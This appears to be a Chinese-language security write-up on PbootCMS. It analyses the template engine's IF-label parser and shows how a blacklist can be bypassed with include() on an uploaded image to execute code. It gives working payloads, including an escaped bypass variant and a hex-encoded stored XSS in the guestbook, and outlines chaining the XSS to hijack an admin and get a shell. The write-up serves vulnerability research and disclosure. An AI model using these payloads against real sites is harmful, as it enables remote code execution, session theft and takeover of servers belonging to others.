师傅分析的pbootcms1.2.1版本getshell文章
下载最新版本,apps/home/controller/ParserController.php
中的parserIfLabel
函数的实现代码如下
// 解析IF条件标签 public function parserIfLabel($content) { $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/'; $pattern2 = '/pboot:([0-9])+if/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $flag = ''; $out_html = ''; $danger = false; $white_fun = array( 'date', 'in_array', 'explode', 'implode' ); // 还原可能包含的保留内容,避免判断失效 $matches[1][$i] = $this->restorePreLabel($matches[1][$i]); // 解码条件字符串 $matches[1][$i] = decode_string($matches[1][$i]); // 带有函数的条件语句进行安全校验 if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 不允许从外部获取数据 if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)/i', $matches[1][$i])) { $danger = true; } // 如果有危险函数,则不解析该IF if ($danger) { continue; } eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}'); if (preg_match('/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[2][$i], $matches2)) { // 判断是否存在else switch ($flag) { case 'if': // 条件为真 if (isset($matches2[1])) { $out_html = $matches2[1]; } break; case 'else': // 条件为假 if (isset($matches2[2])) { $out_html = $matches2[2]; } break; } } elseif ($flag == 'if') { $out_html = $matches[2][$i]; } // 无限极嵌套解析 if (preg_match($pattern2, $out_html, $matches3)) { $out_html = str_replace('pboot:' . $matches3[1] . 'if', 'pboot:if', $out_html); $out_html = str_replace('{' . $matches3[1] . 'else}', '{else}', $out_html); $out_html = $this->parserIfLabel($out_html); } // 执行替换 $content = str_replace($matches[0][$i], $out_html, $content); } } return $content; }
可以看到在2467行对eval函数进行了过滤,此时想到可以利用include来包含图片执行代码。
php > var_dump(function_exists("include"));
bool(false)
可以看到include也是返回false。
上传图片。
这里的路径也可以看到。
接下来构造payload,
{pboot:if(include("./static/upload/image/20191013/1570972592462906.jpg"))}active{/pboot:if}
到网站首页留言处提交留言,然后到后台开启显示该留言,随后回到首页留言处刷新。
可以看到执行了代码
由于自己是在debug中调试代码的,所以在查看$matches数组的时候,就没有让他走完for循环,所以只看到了payload经过实体化的结果如图。(是很zz了.....)
然后就在尝试绕过。绕过的payload为。
{pboot:if(1\51include\50\42./static/upload/image/20191013/1570972592462906.jpg\42\51\73if\50true)}active{/pboot:if}
后面在看的时候才发现在第2462行对代码进行解码,解码函数如下
function decode_string($string) { if (! $string) return $string; if (is_array($string)) { // 数组处理 foreach ($string as $key => $value) { $string[$key] = decode_string($value); } } elseif (is_object($string)) { // 对象处理 foreach ($string as $key => $value) { $string->$key = decode_string($value); } } else { // 字符串处理 $string = stripcslashes($string); $string = htmlspecialchars_decode($string, ENT_QUOTES); } return $string; }
该函数会进行一次htmlspecialchars_decode
解码,所以会直接把"
变为"
。也就是在看这个解码函数的时候,发现了cms将留言从数据库取出的过程发现都会经过转码函数的处理。
在/PbootCMS2.0.2/core/function/handle.php
中的decode_string
函数下还有一个decode_slashes
函数,代码如下
function decode_slashes($string) { if (! $string) return $string; if (is_array($string)) { // 数组处理 foreach ($string as $key => $value) { $string[$key] = decode_slashes($value); } } elseif (is_object($string)) { // 对象处理 foreach ($string as $key => $value) { $string->$key = decode_slashes($value); } } else { // 字符串处理 $string = stripcslashes($string); } return $string; }
这里会用stripcslashes
函数对字符串处理,该函数定义如下
该函数可以将字符串进行反转义,也就是可以把16进制转换为字符串。
跟踪该函数,可发现在此处调用
根据注释可以知道在内容输出处都会使用decode_slashes函数处理。
尝试xss,构造payload
\x3cscript\x3ealert(\x221111111\x22)\x3b\x3c/script\x3e
将payload填入留言。
后台刷新页面可以看到,成功实现xss。
在没有后台的情况下,可以尝试利用xss获取后台管理员的身份,再配合上面的代码执行getshell。